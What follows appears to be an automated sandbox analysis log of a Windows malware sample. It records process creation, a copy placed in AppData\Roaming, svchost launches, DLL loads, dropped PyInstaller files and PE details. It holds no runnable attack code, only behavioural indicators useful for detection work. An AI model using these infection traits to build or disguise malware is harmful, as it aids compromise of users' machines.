Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe "C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Process created: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe "C:\Users\user\AppData\Local\Temp\tmp8AEF.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM	Jump to behavior

Source: C:\Users\user\Desktop\52kYJGCon6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: workfoldersshell.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Section loaded: libffi-7.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\InprocServer32

Jump to behavior

Source: 52kYJGCon6.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 52kYJGCon6.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2252606142.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-locale-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2252934104.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.6.dr
Source:	Binary string: C:\A\21\b\bin\amd64\_lzma.pdbMM source: tmp8AEF.exe, 00000006.00000003.2248074256.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _lzma.pyd.6.dr
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2d-lb source: tmp1946.exe, 0000000B.00000002.2550280470.000001DEDDCEC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: tmp8AEF.exe, 00000006.00000003.2248974675.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.6.dr
Source:	Binary string: C:\A\21\b\bin\amd64\_socket.pdb source: tmp8AEF.exe, 00000006.00000003.2248288112.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdb source: tmp8AEF.exe, 00000009.00000002.2286113655.00007FF8B83B5000.00000002.00000001.01000000.00000009.sdmp, ucrtbase.dll.6.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2249958467.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-memory-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2248657749.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-debug-l1-1-0.dll.6.dr
Source:	Binary string: C:\A\21\b\bin\amd64\_hashlib.pdb source: tmp8AEF.exe, 00000006.00000003.2247931359.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2251720235.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2252310432.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2253222483.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.6.dr
Source:	Binary string: C:\A\21\b\bin\amd64\_ctypes.pdb source: tmp8AEF.exe, 00000009.00000002.2286471285.00007FF8BFB81000.00000002.00000001.01000000.0000000C.sdmp, _ctypes.pyd.6.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2249383761.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2251941372.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.6.dr
Source:	Binary string: C:\A\21\b\bin\amd64\_bz2.pdb source: tmp8AEF.exe, 00000006.00000003.2247517207.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.6.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2251543551.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-synch-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2252213246.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-environment-l1-1-0.dll.6.dr
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e1bUzbt source: tmp1946.exe, 0000000B.00000002.2550280470.000001DEDDD54000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2248762279.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: vcruntime140.amd64.pdbGCTL source: tmp8AEF.exe, 00000006.00000003.2247224120.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000002.2286668785.00007FF8BFB9E000.00000002.00000001.01000000.0000000B.sdmp, VCRUNTIME140.dll.6.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2250274909.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2248420271.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2248862487.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2252122918.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-convert-l1-1-0.dll.6.dr
Source:	Binary string: .PdB] source: tmp8AEF.exe.2.dr
Source:	Binary string: C:\A\21\b\bin\amd64\select.pdb source: tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, select.pyd.6.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2250489173.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.6.dr
Source:	Binary string: ucrtbase.pdbUGP source: tmp8AEF.exe, 00000009.00000002.2286113655.00007FF8B83B5000.00000002.00000001.01000000.00000009.sdmp, ucrtbase.dll.6.dr
Source:	Binary string: vcruntime140.amd64.pdb source: tmp8AEF.exe, 00000006.00000003.2247224120.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000002.2286668785.00007FF8BFB9E000.00000002.00000001.01000000.0000000B.sdmp, VCRUNTIME140.dll.6.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2253847052.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-time-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2249252254.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: tmp8AEF.exe, 00000006.00000003.2251634380.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.6.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2250150623.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2248544698.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-datetime-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2252025674.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\python38.pdb source: tmp8AEF.exe, 00000009.00000002.2285358677.00007FF8A8DFD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2252744243.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: tmp8AEF.exe, 00000006.00000003.2249846119.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.6.dr
Source:	Binary string: C:\A\21\b\bin\amd64\_lzma.pdb source: tmp8AEF.exe, 00000006.00000003.2248074256.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _lzma.pyd.6.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: tmp8AEF.exe, 00000006.00000003.2250404359.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.6.dr
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2250054696.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2255160433.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-utility-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2250601167.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2251816746.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2250735702.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-string-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2249118850.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l2-1-0.dll.6.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2252826757.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2249752086.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2249568887.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.6.dr
Source:	Binary string: C:\A\21\b\bin\amd64\unicodedata.pdb source: tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D49000.00000004.00000020.00020000.00000000.sdmp, unicodedata.pyd.6.dr
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2252448737.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-heap-l1-1-0.dll.6.dr
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: tmp8AEF.exe, 00000006.00000003.2253312352.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp

Source: 52kYJGCon6.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 52kYJGCon6.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 52kYJGCon6.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 52kYJGCon6.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 52kYJGCon6.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: ucrtbase.dll.6.dr

Static PE information: 0x81CF5D89 [Wed Jan 5 14:32:41 2039 UTC]

Source: C:\Users\user\Desktop\52kYJGCon6.exe

Code function: 0_2_00007FF795D2DFBC LoadLibraryA,GetProcAddress,

0_2_00007FF795D2DFBC

Source: 52kYJGCon6.exe	Static PE information: section name: .x64
Source: 8D8EBC2422383023011859.exe.0.dr	Static PE information: section name: .x64
Source: libcrypto-1_1.dll.6.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D64812 push rbp; iretd	0_2_00007FF795D64813
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D64A11 push rcx; iretd	0_2_00007FF795D64A12
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D649C0 push 00000041h; ret	0_2_00007FF795D649C4
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D649A9 push rbp; iretd	0_2_00007FF795D649AA
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Code function: 0_2_00007FF795D62439 push rdx; retf	0_2_00007FF795D6243D
Source: C:\Windows\explorer.exe	Code function: 3_2_08B98524 push ebp; iretd	3_2_08B9852B
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E664812 push rbp; iretd	4_2_00007FF60E664813
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E662439 push rdx; retf	4_2_00007FF60E66243D
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E6649A9 push rbp; iretd	4_2_00007FF60E6649AA
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E664A11 push rcx; iretd	4_2_00007FF60E664A12
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: 4_2_00007FF60E6649C0 push 00000041h; ret	4_2_00007FF60E6649C4
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BFD4812 push rbp; iretd	5_2_00007FF60BFD4813
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BFD49A9 push rbp; iretd	5_2_00007FF60BFD49AA
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BFD49C0 push 00000041h; ret	5_2_00007FF60BFD49C4
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BFD4A11 push rcx; iretd	5_2_00007FF60BFD4A12
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00007FF60BFD2439 push rdx; retf	5_2_00007FF60BFD243D
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B832FAED push rdi; ret	9_2_00007FF8B832FAF4
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B832A096 push rdi; ret	9_2_00007FF8B832A0A2
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B8330200 push rdi; ret	9_2_00007FF8B8330206
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B832A5B5 push rdi; ret	9_2_00007FF8B832A5BB
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8BFB9CB1B push rbp; retf	9_2_00007FF8BFB9CB28
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BF02439 push rdx; retf	10_2_00007FF69BF0243D
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BF04A11 push rcx; iretd	10_2_00007FF69BF04A12
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BF049C0 push 00000041h; ret	10_2_00007FF69BF049C4
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BF049A9 push rbp; iretd	10_2_00007FF69BF049AA
Source: C:\Windows\System32\svchost.exe	Code function: 10_2_00007FF69BF04812 push rbp; iretd	10_2_00007FF69BF04813
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: 11_2_00007FF6838DD51C push rsp; ret	11_2_00007FF6838DD525

Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\libcrypto-1_1.dll	Jump to dropped file
